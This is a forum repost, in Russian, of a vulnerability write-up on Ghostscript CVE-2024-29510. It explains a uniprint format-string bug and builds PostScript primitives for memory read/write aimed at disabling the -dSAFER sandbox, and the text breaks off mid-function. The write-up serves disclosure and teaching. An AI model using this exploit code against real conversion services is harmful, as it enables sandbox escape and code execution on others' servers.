D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Краткое содержание
Это описание уязвимости CVE-2024-29510, связанной с форматной строкой в Ghostscript версии 10.03.0 и ниже. Мы показываем, как это можно использовать для обхода песочницы-dSAFER
и получения возможности выполнения кода.Эта уязвимость существенно влияет на веб-приложения и другие сервисы, предлагающие функции конвертации и предварительного просмотра документов, так как они часто используют Ghostscript в своей работе. Мы рекомендуем проверить, использует ли ваше решение (непосредственно или косвенно) Ghostscript, и если да, обновить его до последней версии.
Это первая часть из трех частей серии об уязвимостях Ghostscript, найденных Codean Labs. Следите за выпусками второй и третьей частей.
Введение
Ghostscript, впервые выпущенный в 1988 году (!), представляет собой интерпретатор Postscript и универсальный инструмент для конвертации документов. Изначально это был относительно малоизвестный UNIX-инструмент для работы с принтерами, но сегодня он нашел широкое применение в автоматизированных системах для обработки пользовательских файлов.В частности, многие веб-приложения, которые обрабатывают и конвертируют изображения или документы, в какой-то момент обращаются к Ghostscript. Часто косвенно через такие инструменты, как ImageMagick и LibreOffice. Подумайте о предварительных изображениях вложений, которые вы видите в чат-программах и облачных хранилищах; в логике конвертации и рендеринга этих изображений часто используется Ghostscript!
Рост числа этих автоматизированных процессов конвертации побудил разработчиков Ghostscript внедрить различные функции песочницы и со временем усилить их. В последних версиях песочница -dSAFER включена по умолчанию и блокирует или ограничивает все виды опасных операций, таких как файловый ввод/вывод и выполнение команд, которые обычно возможны в Postscript.
С точки зрения безопасности это, конечно, очень интересно. У нас есть широкая поверхность атаки (файлы, предоставленные пользователями, и множество функций для исследования) и ясная цель (побег из песочницы, ведущий к удаленному выполнению кода (RCE)).
Стоит помнить, что Postscript является полнофункциональным языком программирования Тьюринга. Немного похож на TeX, но, возможно, более универсальный. Его поддержка файлового ввода/вывода, например, позволяет писать инструменты для конвертации и извлечения данных из документов на языке Postscript. С этой точки зрения, возможность выполнения команд с помощью канала (путем префикса пути открытия файла с
|
или %pipe%
) так же нормальна, как в Perl или Bash.Все это ставит Ghostscript в странное положение, когда он хочет поддерживать все эти устаревшие сценарии использования, но также часто используется как инструмент конвертации для недоверенных файлов, которые часто рассматриваются больше как статические графические описания, чем как программы.
Игра в песочнице
Песочница -dSAFER в основном сосредоточена на ограничении операций ввода/вывода. Когда она включена, она запрещает функциональность %pipe%, которая в противном случае позволяла бы выполнять команды (например, путем открытия файла %pipe%uname -a), и ограничивает доступ к файлам до набора путей из белого списка. В стандартной установке этот список включает некоторые внутренние пути Ghostscript для таких вещей, как шрифты, и каталог/tmp/
(по крайней мере, в Linux).Postscript — это язык, основанный на стеке, что делает его немного сложным для чтения, если вы не привыкли к нему. Код программы на Postscript по сути представляет собой большой список вещей, которые поочередно помещаются в стек выполнения. Когда встречается оператор, один или несколько элементов этого стека могут быть использованы, и один или несколько новых элементов могут быть добавлены. Это аналогично калькуляторам с обратной польской нотацией, например:
C#: Скопировать в буфер обмена
Код:
3 4 add = % выводит "7"
3 4 mul 2 add = % выводит "14"
Более сложная логика требует некоторого "жонглирования" стеком: операторы, такие как pop, dup и exch, копируют и перемещают вещи в стеке.
Postscript имеет стандартные типы, такие как логические значения и числа, но также строки ((foobar)) (обратите внимание на круглые скобки вместо кавычек), списки ([ 1 2 3 ]), словари (<< /Key (value) /Foo (bar) /Baz 42 >>) и процедуры ({ (Hello world!) = }). Эти ключи словаря с косой чертой — это имена. Их также можно определить в глобальной области видимости (это тоже словарь!) с помощью команды def. Затем их можно разыменовывать без косой черты:
C#: Скопировать в буфер обмена
Код:
/MyVariable (Hello world!) def
MyVariable = % выводит "Hello world!"
Имена также могут ссылаться на процедуры. В этой статье мы в основном будем использовать
CamelCase
для переменных и snake_case
для пользовательских процедур.Тот факт, что
/tmp/
полностью доступен, весьма интересен, так как это означает, что даже в песочнице программа на Postscript может перечислять, читать и записывать все, что находится в /tmp/
:Код: Скопировать в буфер обмена
Код:
% Перечислить все файлы в /tmp/
(/tmp/*) { = } 1024 string filenameforall
% Прочитать и вывести содержимое /tmp/foobar
(/tmp/foobar) (r) file 1024 string readstring pop =
% Записать в (новый) файл
(/tmp/newfile) (w) file dup (Hello world!) writestring closefile
В определенных интегрированных использованиях Ghostscript это уже может быть опасным, так как временные чувствительные данные или конфигурации могут храниться в
/tmp
/. Или там может быть загруженный контент других пользователей.Возможность чтения и записи файлов становится еще более интересной с точки зрения злоумышленника, когда сочетается с возможностью изменять выходное устройство и его настройки. Несанкционированный оператор
setpagedevice
получает словарь с параметрами устройства, включая само имя устройства. Эти параметры эквивалентны полям, которые вы часто указываете в командной строке, включая путь к выходному файлу. Таким образом, можно отрендерить страницу с произвольным устройством и прочитать сгенерированный выходной файл, все в рамках одного выполнения, независимо от первоначально установленных параметров устройства.Код: Скопировать в буфер обмена
Код:
% simple_stroke.ps
% Изменить текущий выходной файл и устройство страницы (например, pdfwrite)
<<
/OutputFile (/tmp/foobar)
/OutputDevice /pdfwrite
>>
setpagedevice
% Некоторое минимальное графическое содержимое (один диагональный штрих)
newpath
100 600 moveto
200 400 lineto
5 setlinewidth
stroke
% Создать страницу
showpage
% Прочитать содержимое выходного файла
(/tmp/foobar) (r) file 8000 string readstring pop
print
После вызова showpage устройство записывает данные, соответствующие содержимому страницы. Следовательно, мы можем сразу же прочитать их обратно, в данном случае выводя на stdout с помощью print:
Bash: Скопировать в буфер обмена
Код:
$ ghostscript -q -dSAFER -dBATCH -dNODISPLAY simple_stroke.ps
%PDF-1.7
%
%%Invocation: ghostscript -q -dSAFER -dBATCH -dNODISPLAY ?
5 0 obj
<</Length 6 0 R/Filter /FlateDecode>>
stream
x+T03T0A(˥d^ejPeeeh```"r@
Частичный бинарный поток PDF в конце кодирует линию, которую мы нарисовали. Если позволить программе завершиться, Ghostscript закроет устройство страницы, что аккуратно завершит выходной файл
/tmp/foobar,
в данном случае это будет корректный PDF с таблицей xref и всем остальным:Файл "foobar.pdf", отрендеренный PDF-ридером.
Ghostscript реализует десятки различных устройств вывода, как указано в его выводе команды
--help
. Устройство - это просто логика, которая создает данные вывода. Это может варьироваться от x11alpha
, которое показывает окно (на Linux), до jpegcmyk
, которое создает файл JPEG. Точно так же поддерживаются несколько типов документов (например, XPS, EPS, PDF), а также множество вариантов языков команд принтеров (например, PJL, PCL, epson, deskjet). Устройства можно настраивать и выбирать (обычно с помощью -sDEVICE=
в командной строке, но также и через setpagedevice
из Postscript, как мы видели ранее). Настраиваемые параметры зависят от устройства, но стандартные включают выходной файл, формат страницы, поля, цветовые профили и т.д.Ghostscript очень настраиваем через командную строку. С префиксами
-d
и -s
можно устанавливать логические и именованные поля, которые используются логикой запуска для настройки устройства. Некоторые распространенные случаи использования включают:Bash: Скопировать в буфер обмена
Код:
# Чтение файла из stdin и вывод его в виде PNG на stdout
# (например, как LibreOffice вызывает Ghostscript для рендеринга встроенных EPS-файлов)
ghostscript -q -dBATCH -dNOPAUSE -sDEVICE=pngalpha -sOutputFile=- -
# Извлечение страниц 3-5 из in.pdf в out.pdf
ghostscript -dNOPAUSE -dQUIET -dBATCH -sOutputFile=out.pdf -dFirstPage=3 -dLastPage=5 -sDEVICE=pdfwrite in.pdf
# Определение границ EPS-файла
ghostscript -q -dBATCH -dNOPAUSE -sDEVICE=bbox -sOutputFile=- img.eps
Одно интересное устройство - это
uniprint
, "универсальное устройство принтера". Оно особенно универсально, так как может использоваться для генерации командных данных для различных марок и моделей принтеров, просто изменяя параметры настройки устройства. Ghostscript поставляется с набором .upp
файлов, которые являются просто командными строками Ghostscript (обратите внимание на -dSAFER
и -sDEVICE=uniprint
, например) с предварительно заполненными параметрами для конкретных принтеров, например, cdj550.upp
:Bash: Скопировать в буфер обмена
Код:
-supModel="HP Deskjet 550c, 300x300DpI, Gamma=2"
-sDEVICE=uniprint
-dNOPAUSE
-P- -dSAFER
-dupColorModel=/DeviceCMYK
-dupRendering=/ErrorDiffusion
-dupOutputFormat=/Pcl
-r300x300
-dupMargins="{ 12.0 36.0 12.0 12.0}"
-dupBlackTransfer="{
0.0000 0.0010 0.0042 0.0094 0.0166 0.0260 0.0375 0.0510
0.0666 0.0843 0.1041 0.1259 0.1498 0.1758 0.2039 0.2341
0.2663 0.3007 0.3371 0.3756 0.4162 0.4589 0.5036 0.5505
0.5994 0.6504 0.7034 0.7586 0.8158 0.8751 0.9365 1.0000
}"
-dupCyanTransfer="{
0.0000 0.0010 0.0042 0.0094 0.0166 0.0260 0.0375 0.0510
0.0666 0.0843 0.1041 0.1259 0.1498 0.1758 0.2039 0.2341
0.2663 0.3007 0.3371 0.3756 0.4162 0.4589 0.5036 0.5505
0.5994 0.6504 0.7034 0.7586 0.8158 0.8751 0.9365 1.0000
}"
-dupMagentaTransfer="{
0.0000 0.0010 0.0042 0.0094 0.0166 0.0260 0.0375 0.0510
0.0666 0.0843 0.1041 0.1259 0.1498 0.1758 0.2039 0.2341
0.2663 0.3007 0.3371 0.3756 0.4162 0.4589 0.5036 0.5505
0.5994 0.6504 0.7034 0.7586 0.8158 0.8751 0.9365 1.0000
}"
-dupYellowTransfer="{
0.0000 0.0010 0.0042 0.0094 0.0166 0.0260 0.0375 0.0510
0.0666 0.0843 0.1041 0.1259 0.1498 0.1758 0.2039 0.2341
0.2663 0.3007 0.3371 0.3756 0.4162 0.4589 0.5036 0.5505
0.5994 0.6504 0.7034 0.7586 0.8158 0.8751 0.9365 1.0000
}"
-dupBeginPageCommand="<
1b2a726243
1b2a7433303052
1b266c33616f6c45
1b2a6f31643251
1b2a703059
1b2a72732d34753041
1b2a62326d
>"
-dupAdjustPageWidthCommand
-dupEndPageCommand="(0M\033*rbC\033E\033&l0H)"
-dupAbortCommand="(0M\033*rbC\033E\15\12\12\12\12 Printout-Aborted\15\033&l0H)"
-dupYMoveCommand="(%dy\0)"
-dupWriteComponentCommands="{ (%dv\0) (%dv\0) (%dv\0) (%dw\0) }"
Если внимательно посмотреть на последние несколько параметров, можно заметить, что
upYMoveCommand
и upWriteComponentCommands
содержат спецификаторы строки формата. В частности, %d
используется для включения целого параметра в выбранную позицию. Предположительно, это необходимо для универсальности среди различных диалектов принтеров.Проверка кода подтверждает, что эти параметры действительно используются как строки формата, но только в случае формата вывода
\Pcl
(uniprint поддерживает несколько типов форматов вывода). В случае upOutputFormat ==
\Pcl
используется функция upd_wrtrtl для рендеринга. Внутри этой функции содержимое upYMoveCommand
(скопированное в upd->strings[S_YMOVE]
во время инициализации устройства) используется как строка формата для функции gs_snprintf
, при этом рассчитанное значение "позиции Y" передается как вариативный аргумент:C: Скопировать в буфер обмена
Код:
/*
* Adjust the Printers Y-Position
*/
if(upd->yscan != upd->yprinter) { /* Adjust Y-Position */
if(1 < upd->strings[S_YMOVE].size) {
gs_snprintf((char *)upd->outbuf+ioutbuf, upd->noutbuf-ioutbuf,
(const char *) upd->strings[S_YMOVE].data,
upd->yscan - upd->yprinter);
ioutbuf += strlen((char *)upd->outbuf+ioutbuf);
} else {
<snip>
}
}
Если вы знакомы с уязвимостями форматных строк, вы знаете, что будет дальше!
Доказательство концепции
Поскольку эти параметры являются обычными параметрами устройства, мы можем использоватьsetpagedevice
для изменения устройства на uniprint
, как мы сделали это ранее с pdfwrite.
Затем легко передать произвольные значения для различных параметров upXXXX
, просто установив их в словаре, передаваемом в setpagedevice.
Что касается двух параметров со строками формата, кажется, что
upYMoveCommand
наиболее удобен для работы, так как это всего лишь одна строка, которая форматируется только один раз, если вы рендерите простую страницу. Похоже, что эта команда используется для указания принтеру переместить печатную головку в определенное положение Y перед печатью того, что следует. Но для этой атаки не имеет значения, каково их предполагаемое назначение.Итак, попробуем простой пример доказательства концепции. Мы берем наш предыдущий пример с PDF, где мы записываем в
/tmp/foobar
и читаем его обратно, но заменяем вызов setpagedevice
следующим:Код: Скопировать в буфер обмена
Код:
% Изменение устройства страницы на `uniprint`, установка выходного файла и других параметров
<<
/OutputFile (/tmp/foobar)
/OutputDevice /uniprint
% Необходимые параметры uniprint для достижения варианта `upd_wrtrtl(...)`
/upColorModel /DeviceCMYKgenerate
/upRendering /FSCMYK32
/upOutputFormat /Pcl
% Установка нашего тестового полезного набора
/upYMoveCommand (1:%x\n2:%x\n3:%x\n4:%x\n5:%x\n6:%x\n7:%x\n8:%x\n)
% Установка некоторых других строковых параметров
/upBeginJobCommand (Hello job!\n)
/upBeginPageCommand (Hello page!\n)
% пустые строки для уменьшения спама
/upWriteComponentCommands {(\0) (\0) (\0) (\0)}
>>
setpagedevice
Это дает нам строку, подобную этой, из вывода (который был прочитан обратно из
/tmp/foobar
):Код: Скопировать в буфер обмена
Код:
Hello job!
Hello page!
1:be
2:be
3:5fd58000
4:5fd580f0
5:5fc36460
6:fffffff0
7:e48f1300
8:60005718
A?????????????????????????
Между другими выводами
uniprint
(большинство из которых на самом деле являются данными non-ascii, представляющими нарисованный нами штрих) мы находим нашу отформатированную строку, включая значения первых 8 слов в стеке! По сути, реализация gs_snprintf
слепо читает "параметр" из стека для каждого данного спецификатора формата, предполагая, что они были переданы как вариативные аргументы. Но поскольку в этом случае эти параметры фактически не были переданы (передан только один целочисленный), он читает из местоположений дальше вниз по стеку.Используя эту технику, мы можем читать содержимое стека с произвольными смещениями от текущего указателя стека, вплоть до содержимого argv и envp (загружаются перед вызовом main). Это само по себе уже полезно, так как раскрывает переменные окружения и различные указатели, которые могут быть полезны для обхода ASLR в других эксплойтах. На системах, где это включено, также раскрывается значение куки стека, что может быть полезно для эксплуатации переполнений буфера стека.
Однако мы можем делать больше, чем просто печатать значения стека. Если мы как-то можем управлять указателем где-то на стеке, мы можем использовать
%s
для его разыменования. Хотя %s
останавливается при чтении на нуль-байтах, это не проблема: если мы знаем, что хотим прочитать N байт, мы можем использовать %
.Ns (например, %.8s). Если затем мы получаем обратно меньше, чем N символов (скажем, M), то мы знаем, что за ним должен следовать нуль-байт, и мы рекурсируем, читая (N – M – 1) байт из (address + M + 1), пока все байты не будут прочитаны. С N=8 эту технику можно использовать для извлечения полного указателя, хранящегося по заданному адресу, даже если он содержит нуль-байт.Точно так же — и это обычно основа атак форматных строк — если мы можем управлять значением на стеке, мы можем вместо этого использовать
%n
для записи в него. Это относительно неясный и уникальный спецификатор, который записывает количество символов, напечатанных до этого момента, в данный указатель аргумента. Простой пример с printf
:C: Скопировать в буфер обмена
Код:
int n;
printf("Hello%n world!", &n);
// n == 5;
В нашем сценарии есть ограничения на длину строки формата, поэтому мы не можем записывать произвольно высокие значения с этим (нам нужно было бы предоставить очень длинную строку для высоких значений). Однако мы можем использовать %hn для записи произвольного 2-байтового шорта в адрес памяти на стеке, просто поместив до 2^16 байтов данных заполнения в строку формата.
Забавный факт:
gs_snprintf
вызывает apr_vformatter
, который является настраиваемым printf
-стилевым форматером, поставляемым с Ghostscript. Это означает, что libc-предоставленный форматер (обычный snprintf
) не используется в этом случае, что благоприятно для нашей атаки, так как тот часто компилируется с мерами противодействия атакам форматных строк!Произвольное чтение/запись?
Мы можем читать и записывать в указатели, которые находятся в стеке, но как насчет произвольного чтения/записи? В учебных атаках на форматные строки сама форматная строка часто располагается в стеке, предоставляя легкий в управлении буфер для вставки адреса:
C: Скопировать в буфер обмена
Код:
/* fmt.c */
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char fmt[256];
strncpy(fmt, argv[1], sizeof(fmt));
printf(fmt);
}
Bash: Скопировать в буфер обмена
Код:
$ ./fmt 'AAAAAAAA_%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx'
AAAAAAAA_7fff98ccd540,7fff98ccca50,d,0,7c7a77bd2180,7fff98cccbf8,20,4141414141414141,786c252c786c255f
Обратите внимание на значение
4141414141414141
в стеке, происходящее от начала форматной строки ("AAAAAAAA")
. Заменив соответствующий %lx
на %n
, программа попытается записать значение по этому адресу:Bash: Скопировать в буфер обмена
Код:
$ valgrind ./fmt 'AAAAAAAA_%lx,%lx,%lx,%lx,%lx,%lx,%lx,%n,%lx'
...
==671567== Invalid write of size 4
==671567== at 0x48E2BA1: __printf_buffer (vfprintf-process-arg.c:348)
==671567== by 0x48E36E0: __vfprintf_internal (vfprintf-internal.c:1523)
==671567== by 0x48D886E: printf (printf.c:33)
==671567== by 0x1091EC: main (in fmt)
==671567== Address 0x4141414141414141 is not stack'd, malloc'd or (recently) free'd
...
В нашем случае это, к сожалению, не так просто. Наша форматная строка находится в куче, поэтому нам нужно найти другое значение в стеке, которое мы полностью контролируем.
Из чего состоит стек? Он всегда содержит параметры и локальные переменные каждой функции в стеке вызовов. Вот стек вызовов при вызове
gs_snprintf
:Код: Скопировать в буфер обмена
Код:
#0 upd_wrtrtl (upd=0x55555829c610, out=0x55555827fe50) at ./devices/gdevupd.c:6992
#1 upd_print_page (pdev=0x555558550068, out=0x55555827fe50) at ./devices/gdevupd.c:1161
#2 gx_default_print_page_copies (pdev=0x555558550068, prn_stream=0x55555827fe50, num_copies=0x1) at ./base/gdevprn.c:1160
#3 gdev_prn_output_page_aux (pdev=0x555558550068, num_copies=0x1, flush=0x1, seekable=0x0, bg_print_ok=0x0) at ./base/gdevprn.c:1062
#4 gdev_prn_output_page (pdev=0x555558550068, num_copies=0x1, flush=0x1) at ./base/gdevprn.c:1098
#5 default_subclass_output_page (dev=0x5555583c42e8, num_copies=0x1, flush=0x1) at ./base/gdevsclass.c:136
#6 gs_output_page (pgs=0x555558198490, num_copies=0x1, flush=0x1) at ./base/gsdevice.c:207
#7 zoutputpage (i_ctx_p=0x5555581981a8) at ./psi/zdevice.c:502
#8 do_call_operator (op_proc=0x55555646e9e8 <zoutputpage>, i_ctx_p=0x5555581981a8) at ./psi/interp.c:91
#9 interp (pi_ctx_p=0x555558164a50, pref=0x7fffffffd170, perror_object=0x7fffffffd4e0) at ./psi/interp.c:1375
#10 gs_call_interp (pi_ctx_p=0x555558164a50, pref=0x7fffffffd3e0, user_errors=0x1, pexit_code=0x7fffffffd4d8, perror_object=0x7fffffffd4e0) at ./psi/interp.c:531
#11 gs_interpret (pi_ctx_p=0x555558164a50, pref=0x7fffffffd3e0, user_errors=0x1, pexit_code=0x7fffffffd4d8, perror_object=0x7fffffffd4e0) at ./psi/interp.c:488
#12 gs_main_interpret (minst=0x5555581649b0, pref=0x7fffffffd3e0, user_errors=0x1, pexit_code=0x7fffffffd4d8, perror_object=0x7fffffffd4e0) at ./psi/imain.c:257
#13 gs_main_run_string_end (minst=0x5555581649b0, user_errors=0x1, pexit_code=0x7fffffffd4d8, perror_object=0x7fffffffd4e0) at ./psi/imain.c:945
#14 gs_main_run_string_with_length (minst=0x5555581649b0, str=0x555558273390 "<707472732e7073>.runfile", length=0x18, user_errors=0x1, pexit_code=0x7fffffffd4d8, perror_object=0x7fffffffd4e0) at ./psi/imain.c:889
#15 gs_main_run_string (minst=0x5555581649b0, str=0x555558273390 "<707472732e7073>.runfile", user_errors=0x1, pexit_code=0x7fffffffd4d8, perror_object=0x7fffffffd4e0) at ./psi/imain.c:870
#16 run_string (minst=0x5555581649b0, str=0x555558273390 "<707472732e7073>.runfile", options=0x3, user_errors=0x1, pexit_code=0x7fffffffd4d8, perror_object=0x7fffffffd4e0) at ./psi/imainarg.c:1169
#17 runarg (minst=0x5555581649b0, pre=0x555557000263 "", arg=0x7fffffffd658 "ptrs.ps", post=0x555557000914 ".runfile", options=0x3, user_errors=0x1, pexit_code=0x0, perror_object=0x0) at ./psi/imainarg.c:1128
#18 argproc (minst=0x5555581649b0, arg=0x7fffffffd658 "ptrs.ps") at ./psi/imainarg.c:1050
#19 gs_main_init_with_args01 (minst=0x5555581649b0, argc=0x4, argv=0x7fffffffe228) at ./psi/imainarg.c:242
#20 gs_main_init_with_args (minst=0x5555581649b0, argc=0x4, argv=0x7fffffffe228) at ./psi/imainarg.c:289
#21 psapi_init_with_args (ctx=0x555558164180, argc=0x4, argv=0x7fffffffe228) at ./psi/psapi.c:281
#22 gsapi_init_with_args (instance=0x555558164180, argc=0x4, argv=0x7fffffffe228) at ./psi/iapi.c:253
#23 main (argc=0x4, argv=0x7fffffffe228) at ./psi/gs.c:95
Призрак буфера стека
К счастью, мы не ограничены функциями текущего стека вызовов. Адресное пространство стека является живой областью, которая постоянно перезаписывается по мере роста, уменьшения и повторного роста стека. Некоторые параметры функций или локальные переменные могут быть неинициализированными буферами или заполненными структурами, что означает, что они оставляют предыдущие содержимое стека на месте. Следовательно, мы также ищем локальные переменные и параметры функций, которые в какой-то момент находились в доступной для нас области стека и с тех пор не были перезаписаны.Одной из таких переменных является переменная
sstate
в функции gs_scan_token(...).
Эта функция вызывается в рамках цикла интерпретатора Ghostscript, по-видимому, когда нужно обработать новый токен (Postscript — это интерпретируемый язык). Когда эта функция встречает символ процента, она переходит в логику, которая сохраняет текст комментария, следующий за ним, на случай, если это окажется специальным комментарием, требующим дальнейшей обработки. Специальные комментарии начинаются с %%
или %!
. Они, например, используются в заголовках файлов EPS для передачи метаданных:Код: Скопировать в буфер обмена
Код:
%!PS-Adobe-3.0 EPSF-3.0
%%Document-Fonts: Times-Roman
%%Title: hello.eps
%%Creator: Кто-то
%%CreationDate: 01-Jan-70
%%Pages: 1
%%BoundingBox: 36 36 576 756
%%LanguageLevel: 1
%%EndComments
%%BeginProlog
%%EndProlog
...
Примечательно, что когда комментарий является последним токеном в потоке ввода, вся строка комментария копируется с помощью
memcpy
в sstate.s_da.buf
, который является буфером, выделенным в стеке:C: Скопировать в буфер обмена
Код:
case '%':
{ /* Scan as much as possible within the buffer. */
const byte *base = sptr;
const byte *end;
while (++sptr < endptr) /* stop 1 char early */
switch (*sptr) {
case char_CR:
end = sptr;
if (sptr[1] == char_EOL)
sptr++;
cend: /* Check for externally processed comments. */
retcode = scan_comment(i_ctx_p, myref, &sstate,
base, end, false);
if (retcode != 0)
goto comment;
goto top;
case char_EOL:
case '\f':
end = sptr;
goto cend;
}
/*
* We got to the end of the buffer while inside a comment.
* If there is a possibility that we must pass the comment
* to an external procedure, move what we have collected
* so far into a private buffer now.
*/
--sptr;
sstate.s_da.buf[1] = 0;
{
/* Could be an externally processable comment. */
uint len = sptr + 1 - base;
if (len > sizeof(sstate.s_da.buf))
len = sizeof(sstate.s_da.buf);
memcpy(sstate.s_da.buf, base, len);
daptr = sstate.s_da.buf + len;
}
sstate.s_da.base = sstate.s_da.buf;
sstate.s_da.is_dynamic = false;
}
Так получилось, что этот буфер не перезаписывается, и мы можем видеть его из нашей форматной строки, если
showpage
вызывается сразу после специального комментария. Чтобы комментарий был последним токеном в буфере интерпретатора, нам нужно рекурсивно вызвать интерпретатор. Это можно сделать разными способами, но самый простой способ — использовать оператор .runstring
в Ghostscript. Подумайте об этом, как о eval
в JavaScript.Чтобы продемонстрировать, возьмем предыдущий пример, но распечатаем намного больше (около 300) 8-байтовых слов из стека с использованием
[B]%lx[/B]
(обрезано):Код: Скопировать в буфер обмена
Код:
...
/upYMoveCommand (1:%lx\n2:%lx\n3:%lx\n ... 298:%lx\n299:%lx\n300:%lx\n)
...
И вставляем следующее прямо перед
[B]showpage[/B]
:Код: Скопировать в буфер обмена
(%%XXAAAAAAAA) .runstring
Теперь полученный вывод выглядит следующим образом (обрезано):
Код: Скопировать в буфер обмена
Код:
...
222:7ffe2ee85dcc
223:7ffe2ee85dcc
224:7ffe2ee85dcc
225:5858252500000000
226:4141414141414141
227:0
228:0
229:0
230:7ffe2ee85e30
231:62bea58b57b0
...
Похоже, что
[B]sstate.s_da.buf[/B]
примерно охватывает индексы стека от 225 до 229. Смещения структуры таковы, что начало нашего комментария [B]("%%XX")[/B]
хранится в слове по адресу 225, тогда как слово по адресу 226 — это первое слово, над которым мы имеем полный контроль ("AAAAAAAA")
. Следовательно, мы можем обобщить наш код, чтобы создать простой примитив, который помещает 8-байтовую строку в виде одного слова на стек (реальный стек, а не стек Postscript!):Код: Скопировать в буфер обмена
Код:
/StackString (AAAAAAAA) def % это можно определить во время выполнения
(%%XX) StackString cat .runstring
Сложение всех частей
Теперь мы можем поместить произвольное 8-байтовое значение в известное место на стеке, что означает, что мы можем наконец использовать%s
и %n
в полной мере, что дает нам примитивы для чтения и записи памяти!Давайте абстрагируем вызовы форматной строки uniprint и чтение файла в процедуру Postscript, которую назовем
do_uniprint
:Код: Скопировать в буфер обмена
Код:
% <StackString> <FmtString> do_uniprint <LeakedData>
/do_uniprint {
/FmtString exch def % форматная строка для использования
/StackString exch def % строка из 8 байт, которую вставляем в стек заранее
% Выбираем устройство uniprint с нашим полезным нагрузкой
<<
/OutputFile PathTempFile
/OutputDevice /uniprint
/upColorModel /DeviceCMYKgenerate
/upRendering /FSCMYK32
/upOutputFormat /Pcl
/upOutputWidth 99999 % это дает больший буфер для нашей форматной строки
/upWriteComponentCommands {(x)(x)(x)(x)} % это требуется, просто вставляем фиктивные строки
/upYMoveCommand FmtString
>>
setpagedevice
% Манипулируем интерпретатором, чтобы вставить контролируемые данные в стек
(%%XX) StackString cat .runstring
% Создаем страницу с содержимым для вызова логики форматной строки
newpath 1 1 moveto 1 2 lineto 1 setlinewidth stroke
showpage
% Читаем обратно записанные данные
/InFile PathTempFile (r) file def
/LeakedData InFile 4096 string readstring pop def
InFile closefile
LeakedData % возвращаем
} bind def
Это позволяет нам написать процедуры более высокого уровня:
write_to
, read_ptr_at
, read_dereferenced_bytes_at
, read_dereferenced_ptr_at
:Код: Скопировать в буфер обмена
Код:
% <StackIdx> <AddrHex> write_to
/write_to {
/AddrHex exch str_ptr_to_le_bytes def % адрес для записи
/StackIdx exch def % индекс стека для использования
/FmtString StackIdx 1 sub (%x) times (_%ln) cat def
AddrHex FmtString do_uniprint
pop % нам не важны отформатированные данные
} bind def
% <StackIdx> read_ptr_at <PtrHexStr>
/read_ptr_at {
/StackIdx exch def % индекс стека для использования
/FmtString StackIdx 1 sub (%x) times (__%lx__) cat def
() FmtString do_uniprint
(__) search pop pop pop (__) search pop exch pop exch pop
} bind def
% num_bytes <= 9
% <StackIdx> <PtrHex> <NumBytes> read_dereferenced_bytes_at <ResultAsMultipliedInt>
/read_dereferenced_bytes_at {
/NumBytes exch def
/PtrHex exch def
/PtrOct PtrHex str_ptr_to_le_bytes def % адрес для чтения
/StackIdx exch def % индекс стека для использования
/FmtString StackIdx 1 sub (%x) times (__%.) NumBytes 1 string cvs cat (s__) cat cat def
PtrOct FmtString do_uniprint
/Data exch (__) search pop pop pop (__) search pop exch pop exch pop def
% Проверяем, смогли ли мы прочитать все байты
Data length NumBytes eq {
% Да, смогли! Возвращаем целочисленное значение байтов
0 % аккумулятор
NumBytes 1 sub -1 0 {
exch % <i> <accum>
256 mul exch % <accum*256> <i>
Data exch get % <accum*256 + Data[i]>
add % <accum*256 + Data[i]>
} for
} {
% Не смогли прочитать все байты, добавляем нулевой байт и рекурсируем по addr+1
StackIdx 1 PtrHex ptr_add_offset NumBytes 1 sub read_dereferenced_bytes_at
256 mul
} ifelse
} bind def
% <StackIdx> <AddrHex> read_dereferenced_ptr_at <PtrHexStr>
/read_dereferenced_ptr_at {
% Читаем 6 байт
6 read_dereferenced_bytes_at
% Преобразуем в шестнадцатеричную строку и возвращаем
16 12 string cvrs
} bind def
Эксплуатация
Наша конечная цель эксплуатации заключается в том, чтобы выйти из песочницы-dSAFER
, так как это даст нам полный удаленный доступ к компьютеру, на котором работает Ghostscript. Когда включен -dSAFER
, Ghostscript навсегда устанавливает булево поле (path_control_active
) в глобальной контекстной структуре в значение 1. Из Postscript обычно невозможно изменить это значение обратно после того, как оно установлено на 1.Однако, если мы сможем буквально внедрить значение в память в нужное место и установить это поле в 0, все ограничения
-dSAFER
мгновенно исчезнут, пока работает процесс Ghostscript.Таким образом, нам нужно найти адрес path_control_active (из-за ASLR он меняется каждый раз). Это поле является частью структуры
gs_lib_ctx_core_t
, глобальный экземпляр которой выделяется в куче, но мы не знаем, где именно, так как он нигде не упоминается в стеке.Вместо этого мы можем использовать тот факт, что указатель на структуру gs_lib_ctx_core_t является частью gs_lib_ctx_t, которая, в свою очередь, является частью
gs_memory_t
. И как раз функция, содержащая вызов gs_snprintf
, upd_wrtrtl(upd_p upd
, gp_file *out)
, получает параметр gp_file * out, который имеет указатель на gs_memory_t. Другими словами, нам нужно лишь получить out из его постоянного местоположения в стеке, а затем несколько раз разыменовать его, чтобы получить &out->memory->gs_lib_ctx->core->path_control_active
.Поскольку ни одно из этих полей не находится по смещению 0 в своих родительских структурах, нам нужно уметь добавлять смещение к утекшему (шестнадцатеричному) значению указателя, прежде чем разыменовать его снова. К счастью, Postscript довольно гибок в работе с шестнадцатеричными числами, поэтому следующий код выполняет эту задачу:
Код: Скопировать в буфер обмена
Код:
% <Offset> <PtrHexStr> ptr_add_offset <PtrHexStr>
/ptr_add_offset {
/PtrHexStr exch def % строка указателя в шестнадцатеричном формате
/Offset exch def % целое число для добавления
/PtrNum (16#) PtrHexStr cat cvi def
% база 16, длина строки 12
PtrNum Offset add 16 12 string cvrs
} bind def
Результат является строкой в шестнадцатеричном формате, но чтобы поместить это значение в стек (помним, что используем комментарий
%%BB........)
, оно должно быть строкой необработанных байтов и перевернуто (по крайней мере на системах с little-endian). Поэтому мы пишем еще одну вспомогательную функцию:Код: Скопировать в буфер обмена
Код:
% Преобразование строки в шестнадцатеричном формате "4142DEADBEEF" в дополненную строку байтов little-endian "\xEF\xBE\xAD\xDE\x42\x41\x00\x00"
% <HexStr> str_ptr_to_le_bytes <ByteStringLE>
/str_ptr_to_le_bytes {
% Преобразование строки в шестнадцатеричном формате в строку Postscript
% используя нотацию <DEADBEEF>
/ArgBytes exch (<) exch (>) cat cat token pop exch pop def
% Подготовка результирующей строки (`string` заполняется нулями)
/Res 8 string def
% Для каждого байта во входных данных
0 1 ArgBytes length 1 sub {
/i exch def
% размещаем байт по индексу (len(ArgBytes) - 1 - i)
